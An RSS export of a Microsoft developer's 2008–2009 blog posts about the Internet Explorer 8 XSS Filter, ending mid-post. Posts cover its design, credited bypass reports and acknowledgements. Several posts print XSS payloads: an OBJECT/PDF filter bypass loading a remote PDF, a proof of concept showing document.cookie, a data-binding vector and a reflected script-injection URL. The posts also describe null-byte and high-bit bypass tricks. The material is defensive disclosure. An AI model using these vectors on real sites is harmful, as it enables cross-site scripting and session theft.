<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.msdn.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>random dross : Internet Explorer</title><link>http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx</link><description>Tags: Internet Explorer</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>Good Bug</title><link>http://blogs.msdn.com/dross/archive/2009/05/28/good-bug.aspx</link><pubDate>Fri, 29 May 2009 01:37:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9649409</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/9649409.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=9649409</wfw:commentRss><description>&lt;P&gt;Credit goes to Alex "Kuza55" Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic.&amp;nbsp; The&amp;nbsp;original&amp;nbsp;heuristic failed to properly sanitize OBJECT tags with the DATA attribute set.&amp;nbsp; Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element.&amp;nbsp; This would load a remote PDF that&amp;nbsp;would execute script in the context of the hosting page, effectively enabling XSS.&lt;/P&gt;
&lt;P&gt;Example:&lt;BR&gt;&lt;CODE&gt;http://site.tld/foo.asp?FName=&amp;lt;object%20data=anything_at_all.pdf&amp;gt;&amp;lt;param%20name=src%20value=http://othersite.tld/xss.pdf%20&amp;gt;&amp;lt;/param&amp;gt;&amp;lt;/object&amp;gt;&lt;/CODE&gt;&lt;/P&gt;
&lt;P&gt;The PDF proof-of-concept contained:&lt;BR&gt;&lt;CODE&gt;getURL("vbscript:MsgBox document.cookie");&lt;/CODE&gt;&lt;/P&gt;
&lt;P&gt;Thanks to Alex, we were able to address this bug&amp;nbsp;for the IE8 final release.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9649409" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>The MSHTML (Trident) Host Security FAQ</title><link>http://blogs.msdn.com/dross/archive/2009/04/06/the-mshtml-trident-host-security-faq.aspx</link><pubDate>Mon, 06 Apr 2009 20:21:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9534096</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/dross/comments/9534096.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=9534096</wfw:commentRss><description>&lt;P&gt;I've posted a two-part FAQ&amp;nbsp;addressing&amp;nbsp;security considerations for apps&amp;nbsp;that host MSHTML.&amp;nbsp; Check it out over at the &lt;A title="SRD blog" href="http://blogs.technet.com/srd/" mce_href="http://blogs.technet.com/srd/"&gt;SRD blog&lt;/A&gt;!&lt;/P&gt;
&lt;P&gt;&lt;A title="The MSHTML Host Security FAQ: Part I of II" href="http://blogs.technet.com/srd/archive/2009/04/02/the-mshtml-host-security-faq.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/04/02/the-mshtml-host-security-faq.aspx"&gt;The MSHTML Host Security FAQ: Part I of II&lt;/A&gt;&lt;BR&gt;&lt;A title="The MSHTML Host Security FAQ: Part II of II" href="http://blogs.technet.com/srd/archive/2009/04/03/the-mshtml-host-security-faq-part-ii-of-ii.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/04/03/the-mshtml-host-security-faq-part-ii-of-ii.aspx"&gt;The MSHTML Host Security FAQ: Part II of II&lt;/A&gt;&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9534096" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category></item><item><title>New webappsec tools</title><link>http://blogs.msdn.com/dross/archive/2009/03/25/new-webappsec-tools.aspx</link><pubDate>Wed, 25 Mar 2009 21:33:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9508047</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/9508047.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=9508047</wfw:commentRss><description>&lt;P&gt;&lt;STRONG&gt;Chris Weber's Watcher: &lt;/STRONG&gt;&lt;A href="http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/"&gt;&lt;STRONG&gt;http://www.lookout.net/2009/03/20/watcher-security-tool-a-free-web-app-security-testing-and-compliance-auditing-tool/&lt;/STRONG&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Watcher plugs into the &lt;A href="http://www.fiddlertool.com/" mce_href="http://www.fiddlertool.com"&gt;Fidder&lt;/A&gt; HTTP proxy and monitors for all sorts of web app vulns, from the common to the obscure.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Gareth Heyes' XSS Rays: &lt;/STRONG&gt;&lt;A href="http://www.thespanner.co.uk/2009/03/25/xss-rays/"&gt;&lt;STRONG&gt;http://www.thespanner.co.uk/2009/03/25/xss-rays/&lt;/STRONG&gt;&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;XSS Rays runs in the browser as a &lt;A href="http://www.bookmarklets.com/" mce_href="http://www.bookmarklets.com/"&gt;bookmarklet&lt;/A&gt; and scans for XSS on demand.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9508047" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>IE8 is here!</title><link>http://blogs.msdn.com/dross/archive/2009/03/19/ie8-is-here.aspx</link><pubDate>Thu, 19 Mar 2009 23:02:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9491025</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/9491025.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=9491025</wfw:commentRss><description>&lt;P&gt;&lt;A href="http://www.microsoft.com/ie"&gt;http://www.microsoft.com/ie&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;What are you waiting for?&amp;nbsp; Go get it!&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9491025" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category></item><item><title>XSS Filter Improvements in IE8 RC1</title><link>http://blogs.msdn.com/dross/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx</link><pubDate>Sat, 31 Jan 2009 00:30:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:9385361</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/9385361.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=9385361</wfw:commentRss><description>&lt;P&gt;I've just posted&amp;nbsp;detail&amp;nbsp;up on the &lt;A class="" title="SVRD Blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SVRD&amp;nbsp;Blog&lt;/A&gt; about&amp;nbsp;&lt;A class="" title="some improvements and bug fixes" href="http://blogs.technet.com/swi/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx" mce_href="http://blogs.technet.com/swi/archive/2009/01/30/xss-filter-improvements-in-ie8-rc1.aspx"&gt;some improvements and bug fixes&lt;/A&gt;&amp;nbsp;to the XSS Filter feature&amp;nbsp;in &lt;A class="" title="IE8 RC1" href="http://www.microsoft.com/windows/internet-explorer/download-ie.aspx" mce_href="http://www.microsoft.com/windows/internet-explorer/download-ie.aspx"&gt;IE8 RC1&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9385361" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>IE8 Beta 2</title><link>http://blogs.msdn.com/dross/archive/2008/08/29/ie8-beta-2.aspx</link><pubDate>Sat, 30 Aug 2008 01:18:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8907083</guid><dc:creator>dross</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.msdn.com/dross/comments/8907083.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=8907083</wfw:commentRss><description>&lt;P&gt;If you haven’t already seen, Internet Explorer 8 Beta 2 is out – &lt;A class="" title="Internet Explorer 8 Beta 2" href="http://www.microsoft.com/windows/products/winfamily/ie/default.mspx" mce_href="http://www.microsoft.com/windows/products/winfamily/ie/default.mspx"&gt;go get it&lt;/A&gt;!&lt;/P&gt;
&lt;P&gt;Now is a good time to thank everyone who helped make the IE8 XSS Filter a reality.&amp;nbsp; This project wouldn’t have been possible without your hard work, support, leadership, guidance, brainstorming, pentesting, coding, and testing.&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;THANK YOU:&lt;/STRONG&gt;&lt;/P&gt;
&lt;P&gt;Zhenya and Joe&amp;nbsp; &lt;SPAN style="FONT-SIZE: 11pt; LINE-HEIGHT: 115%; FONT-FAMILY: Wingdings; mso-fareast-font-family: SimSun; mso-fareast-theme-font: minor-fareast; mso-bidi-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA"&gt;J&lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;Keith Baston&lt;BR&gt;Sarah Blankinship&lt;BR&gt;Christopher Budd&lt;BR&gt;Fergal Burke&lt;BR&gt;Manuel Caballero&lt;BR&gt;Tony Chor&lt;BR&gt;Jeremy Dallman&lt;BR&gt;Mark Debenham&lt;BR&gt;Carl Edlund&lt;BR&gt;Dave Forstrom&lt;BR&gt;Michael Grady&lt;BR&gt;Dean Hachamovitch&lt;BR&gt;Robert “RSnake” Hansen&lt;BR&gt;Yosuke Hasegawa&lt;BR&gt;Damian Hasse&lt;BR&gt;Ronald van den Heetkamp&lt;BR&gt;Mario Heiderich&lt;BR&gt;Matt Heller&lt;BR&gt;Gareth Heyes&lt;BR&gt;Michael Howard&lt;BR&gt;Hidetake Jo&lt;BR&gt;Dany Joly&lt;BR&gt;Dan Kaminsky&lt;BR&gt;Amit Klein&lt;BR&gt;Kuza55&lt;BR&gt;John Lambert&lt;BR&gt;Eric Lawrence&lt;BR&gt;David Lindsay&lt;BR&gt;Steve Lipner&lt;BR&gt;Spencer Low&lt;BR&gt;Patrick Mann&lt;BR&gt;Bronwen Matthews&lt;BR&gt;Christian Matthies&lt;BR&gt;Jack Mayo&lt;BR&gt;Mark Miller&lt;BR&gt;Katie Moussouris&lt;BR&gt;Aviv Raff&lt;BR&gt;Billy Rios&lt;BR&gt;Harley Rosnow&lt;BR&gt;Andrew Roths&lt;BR&gt;Fermin J. Serna&lt;BR&gt;Mark Shlimovich&lt;BR&gt;Richard Shupak&lt;BR&gt;Craig Spiezle&lt;BR&gt;George Stathakopoulos&lt;BR&gt;Cheng Peng Su&lt;BR&gt;Matt Thomlinson&lt;BR&gt;Jason Upton&lt;BR&gt;Eduardo “sirdarckcat” Vela&lt;BR&gt;Berend-Jan “SkyLined” Wever&lt;BR&gt;Austin Wilson&lt;BR&gt;Geng Yang&lt;/P&gt;
&lt;P&gt;The IE Team&lt;BR&gt;SWI&lt;/P&gt;
&lt;P&gt;If I somehow managed to leave you out, please let me know.&amp;nbsp;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Now on&amp;nbsp;to RTM!&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8907083" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/General/default.aspx">General</category><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>IE 8 XSS Filter Architecture / Implementation revealed + some other news</title><link>http://blogs.msdn.com/dross/archive/2008/08/19/ie-8-xss-filter-architecture-implementation-revealed-some-other-news.aspx</link><pubDate>Tue, 19 Aug 2008 23:29:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8880050</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/8880050.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=8880050</wfw:commentRss><description>&lt;P&gt;I've&amp;nbsp;just&amp;nbsp;&lt;A title="posted some detail on the Internet Explorer 8 XSS Filter Architecture / Implementation" href="http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx" mce_href="http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx"&gt;posted&amp;nbsp;some detail on&amp;nbsp;the Internet Explorer&amp;nbsp;8 XSS Filter Architecture / Implementation&lt;/A&gt; over on the &lt;A title="SWI Blog" href="http://blogs.technet.com/swi/" mce_href="http://blogs.technet.com/swi/"&gt;SWI Blog&lt;/A&gt;.&amp;nbsp; It would be great to&amp;nbsp;get some&amp;nbsp;feedback and answer&amp;nbsp;any questions you may have&amp;nbsp;-- just drop me a mail using the&amp;nbsp;Email link to the left.&lt;/P&gt;
&lt;P&gt;In other news, &lt;A title="Gareth Heyes" href="http://www.businessinfo.co.uk/" mce_href="http://www.businessinfo.co.uk/"&gt;Gareth Heyes&lt;/A&gt; has been spending some time testing the&amp;nbsp;XSS Filter implementation.&amp;nbsp; Gareth has written up &lt;A title="a post on the Bluehat blog about targeted fuzzing" href="http://blogs.technet.com/bluehat/archive/2008/08/14/targeted-fuzzing.aspx" mce_href="http://blogs.technet.com/bluehat/archive/2008/08/14/targeted-fuzzing.aspx"&gt;a post&amp;nbsp;on the Bluehat blog about targeted fuzzing&lt;/A&gt;, specifically as applied to XSS.&lt;/P&gt;
&lt;P mce_keep="true"&gt;And finally,&amp;nbsp;it's worth&amp;nbsp;mentioning that &lt;A title="I'm now on Twitter!" href="http://twitter.com/randomdross" mce_href="http://twitter.com/randomdross"&gt;I'm now on Twitter&lt;/A&gt;!&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8880050" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>IE8 XSS Filter design philosophy in-depth</title><link>http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx</link><pubDate>Fri, 04 Jul 2008 09:55:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8687752</guid><dc:creator>dross</dc:creator><slash:comments>3</slash:comments><comments>http://blogs.msdn.com/dross/comments/8687752.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=8687752</wfw:commentRss><description>&lt;P&gt;It's great to see some &lt;A class="" href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyName=networking_and_internet&amp;amp;articleId=9106238&amp;amp;taxonomyId=16" mce_href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyName=networking_and_internet&amp;amp;articleId=9106238&amp;amp;taxonomyId=16"&gt;positive&lt;/A&gt; &lt;A class="" href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1319861,00.html" mce_href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1319861,00.html"&gt;reaction&lt;/A&gt; to the &lt;EM&gt;potential&lt;/EM&gt; of our XSS Filter.&amp;nbsp; Now we just need to deliver!&lt;/P&gt;
&lt;P&gt;In this blog post I’ll try to shed some light on our design philosophy.&lt;/P&gt;
&lt;P&gt;To understand how we have arrived at our current filtering approach, it is useful to look back to the XSS Filter’s very beginnings.&amp;nbsp; Version 1.0 of the XSS Filter prototype, originally released within Microsoft back in 2002, provided users with the following (ugly!) prompt:&lt;/P&gt;
&lt;P&gt;&lt;IMG title="XSSFilter v1.0 UI" style="WIDTH: 555px; HEIGHT: 281px" height=281 alt="XSSFilter v1.0 UI" src="http://blogs.msdn.com/photos/dross/images/9472192/original.aspx" width=555 mce_src="http://blogs.msdn.com/photos/dross/images/9472192/original.aspx"&gt;&lt;/P&gt;Clearly this is &lt;STRONG&gt;not&lt;/STRONG&gt; something that everyday users would understand or find acceptable!&amp;nbsp; We needed to find a way to make the filtering automatic and painless and thus provide maximum benefit to users. 
&lt;P&gt;The approach we are taking today in Internet Explorer 8 doesn’t simply examine URL / POST data for evidence of XSS – it is capable of validating that an XSS attack has been replayed into the response.&amp;nbsp; Having identified the replayed XSS, we then have the capability to neuter the XSS on the page in a highly targeted fashion.&amp;nbsp; Thus, the XSS Filter can be effective without modifying an initial request to the server or blocking an entire response.&lt;/P&gt;
&lt;P&gt;The detection of reflections hones our targeting as well – you can’t have “reflected XSS” without the reflection!&lt;/P&gt;
&lt;P&gt;Our XSS Filter design goals do not equate success with blocking every conceivable attack technique.&amp;nbsp; Consider that a reported bug might fall into one of the following categories:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Straightforward implementation flaws.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; A buffer overrun when a specially crafted URL is passed to the XSS Filter code.&lt;BR&gt;&lt;BR&gt;Any feature, the XSS Filter included, must consider this to be a severe vulnerability.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Mechanisms to bypass the XSS Filter in the general sense.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; As the XSS Filter was being developed, we identified that URLs that including a %00 were processed by the XSS Filter in such a way that the %00 would decode to a null byte.&amp;nbsp; This would result in termination of the string we were using to process the URL.&amp;nbsp; A real attack could then pass through unfiltered after the null byte.&lt;BR&gt;&lt;BR&gt;To be successful, the XSS Filter must address any issue like this that thwarts its &lt;U&gt;overall&lt;/U&gt; effectiveness.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Mechanisms to bypass the XSS Filter’s protection for certain specific XSS attack scenarios.&lt;BR&gt;&lt;BR&gt;Example #1: Internet Explorer 7 will effectively ignore the high-bit of each character on a page in the US-ASCII character set.&amp;nbsp; So when a web page outputs a page in US-ASCII, or can be forced to do so, it was possible to bypass the XSS Filter by setting the high-bit on bytes in the querystring.&amp;nbsp; (This is &lt;A class="" href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx" mce_href="http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx"&gt;resolved in Internet Explorer 8&lt;/A&gt;.)&lt;BR&gt;&lt;BR&gt;If we had not addressed this issue, the XSS Filter would be ineffective when the victim page used the US-ASCII character set (either by default or because it was &lt;A class="" href="http://sla.ckers.org/forum/read.php?3,3109" mce_href="http://sla.ckers.org/forum/read.php?3,3109"&gt;forced&lt;/A&gt;).&amp;nbsp; This would be a serious limitation of the XSS Filter but ultimately it wouldn’t be a deal-breaker – for the &lt;A class="" href="http://news.cnet.com/8301-13580_3-9936329-39.html" mce_href="http://news.cnet.com/8301-13580_3-9936329-39.html"&gt;growing majority of sites using Unicode&lt;/A&gt; the XSS Filter’s effectiveness would remain unchallenged.&lt;BR&gt;&lt;BR&gt;Example #2:&amp;nbsp; The XSS Filter would not be effective if a web app were to &lt;A class="" href="http://en.wikipedia.org/wiki/Rot13" mce_href="http://en.wikipedia.org/wiki/Rot13"&gt;ROT13&lt;/A&gt; decode data from the querystring before replaying it back to the client.&amp;nbsp; For attacks that depend on application-specific transformations, we will only attempt to make the XSS Filter effective where these transformations are identified to be pervasive.&lt;BR&gt;&lt;BR&gt;We choose not to ROT13 decode URLs.&amp;nbsp; :-)&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;
&lt;LI&gt;Specific new XSS attack vectors.&lt;BR&gt;&lt;BR&gt;Example:&amp;nbsp; The following use of data binding will result in the execution of script within IE:&lt;BR&gt;&lt;BR&gt;&lt;CODE&gt;&amp;lt;xml id=cdcat&amp;gt;&amp;lt;note&amp;gt;&amp;lt;to&amp;gt;%26lt;span style=x:exp&amp;lt;![CDATA[r]]&amp;gt;ession(alert(3))%26gt;hello%26lt;/span%26gt;&amp;lt;/to&amp;gt;&amp;lt;/note&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;table border=%221%22 datasrc=%22%23cdcat%22&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;span datafld=%22to%22 DATAFORMATAS=html&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&lt;/CODE&gt;&lt;BR&gt;&lt;BR&gt;Note there is no SCRIPT tag present.&amp;nbsp; There are many similar obscure script execution techniques present in all browsers.&amp;nbsp; These are often called “XSS attack vectors” and many such techniques are archived on &lt;A class="" href="http://ha.ckers.org/xss.html" mce_href="http://ha.ckers.org/xss.html"&gt;RSnake’s cheat sheet&lt;/A&gt;.&amp;nbsp; The XSS Filter does handle this particular XSS attack vector.&lt;BR&gt;&lt;BR&gt;In the general case, we recognize the need to address additional new&amp;nbsp;reflected (Type-1)&amp;nbsp;XSS attack vectors as they are identified.&lt;BR&gt;&lt;BR&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;Observe the distinctions between the different bug categories listed above.&amp;nbsp; The most important takeaway is our level of pragmatism especially in category #3 above.&amp;nbsp; We will not be lead to compromise the XSS Filter’s web site compatibility by attempting to address every conceivable XSS attack scenario.&lt;/P&gt;
&lt;P&gt;In summary, the XSS Filter will prove its worth by raising the bar and mitigating the types of XSS most commonly found across the web today, &lt;STRONG&gt;by default&lt;/STRONG&gt;, for users of Internet Explorer 8.&lt;/P&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8687752" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>IE8 goes on the offensive against XSS!</title><link>http://blogs.msdn.com/dross/archive/2008/07/02/ie8-goes-on-the-offensive-against-xss.aspx</link><pubDate>Wed, 02 Jul 2008 19:29:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8681670</guid><dc:creator>dross</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.msdn.com/dross/comments/8681670.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=8681670</wfw:commentRss><description>IE has announced &lt;A class="" href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx" mce_href="http://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-iv-the-xss-filter.aspx"&gt;the new XSS Filter feature&lt;/A&gt; which will debut in IE8 Beta 2!&amp;nbsp; Stay tuned to my blog in the coming weeks for more details on how the filter works, its history, its limitations, and some lessons learned during the development process.&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=8681670" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/dross/archive/tags/Computer+Security/default.aspx">Computer Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Internet+Explorer/default.aspx">Internet Explorer</category><category domain="http://blogs.msdn.com/dross/archive/tags/Web+Application+Security/default.aspx">Web Application Security</category><category domain="http://blogs.msdn.com/dross/archive/tags/Cross-Site+Scripting/default.aspx">Cross-Site Scripting</category><category domain="http://blogs.msdn.com/dross/archive/tags/XSS/default.aspx">XSS</category></item><item><title>XSS-Focused Attack Surface Reduction</title><link>http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx</link><pubDate>Mon, 10 Mar 2008 23:06:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:8137543</guid><dc:creator>dross</dc:creator><slash:comments>4</slash:comments><comments>http://blogs.msdn.com/dross/comments/8137543.aspx</comments><wfw:commentRss>http://blogs.msdn.com/dross/commentrss.aspx?PostID=8137543</wfw:commentRss><description>&lt;P&gt;All web browsers expose what have been referred to as XSS “attack vectors” – various techniques that XSS attacks can leverage to achieve script execution.&amp;nbsp; The best and most well regarded list of these behaviors is RSnake’s &lt;A href="http://ha.ckers.org/xss.html" mce_href="http://ha.ckers.org/xss.html"&gt;XSS Cheat Sheet&lt;/A&gt;.&lt;/P&gt;
&lt;P&gt;The existence of these attack vectors can at minimum present a challenge to filters and other technologies which attempt to block XSS.&amp;nbsp; But more fundamentally, XSS attack vectors enable XSS bugs that would not otherwise exist.&amp;nbsp; This is the essential argument for what I term &lt;U&gt;XSS-Focused Attack Surface Reduction&lt;/U&gt;.&lt;/P&gt;
&lt;P&gt;Let’s explore one example.&lt;/P&gt;
&lt;P&gt;Finding a useful &lt;A href="http://en.wikipedia.org/wiki/Cross-site_scripting#Non-Persistent" mce_href="http://en.wikipedia.org/wiki/Cross-site_scripting#Non-Persistent"&gt;reflected XSS&lt;/A&gt; bug usually involves identifying a server that will replay data from a URL which is then interpreted by the browser as script.&amp;nbsp; Often constraints are placed on how the attack must be constructed.&amp;nbsp; This can result from ineffective filtering that has been put in place or simply due to incidental non-security related filtering at the server.&lt;/P&gt;
&lt;P&gt;Here is a simple example attack URL:&lt;/P&gt;
&lt;TABLE class=MsoNormalTable style="BACKGROUND: #e0e0e0; MARGIN: auto auto auto 5.75pt; BORDER-COLLAPSE: collapse; mso-yfti-tbllook: 1184; mso-padding-alt: 0in 0in 0in 0in" cellSpacing=0 cellPadding=0 border=0 class="MsoNormalTable"&gt;
&lt;TBODY&gt;
&lt;TR style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes"&gt;
&lt;TD class="" style="BORDER-RIGHT: windowtext 1pt solid; PADDING-RIGHT: 5.75pt; BORDER-TOP: windowtext 1pt solid; PADDING-LEFT: 5.75pt; PADDING-BOTTOM: 0.05in; BORDER-LEFT: windowtext 1pt solid; WIDTH: 100%; PADDING-TOP: 0.05in; BORDER-BOTTOM: windowtext 1pt solid; BACKGROUND-COLOR: transparent" vAlign=top width=832&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 3pt; LINE-HEIGHT: 120%; TEXT-ALIGN: justify"&gt;&lt;SPAN style="FONT-SIZE: 10pt; LINE-HEIGHT: 120%; FONT-FAMILY: 'Courier New'"&gt;http://[server]/[path]/[file].asp?id=70-305zzz&amp;lt;script&amp;gt;alert();&amp;lt;/script&amp;gt;&lt;?xml:namespace prefix = o /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;The script element in the URL is injected into the server’s HTTP response as valid HTML.&amp;nbsp; This vulnerability was addressed with server-side validation.&amp;nbsp; However, the following variation was later identified, demonstrating the validation to be insufficient:&lt;/P&gt;
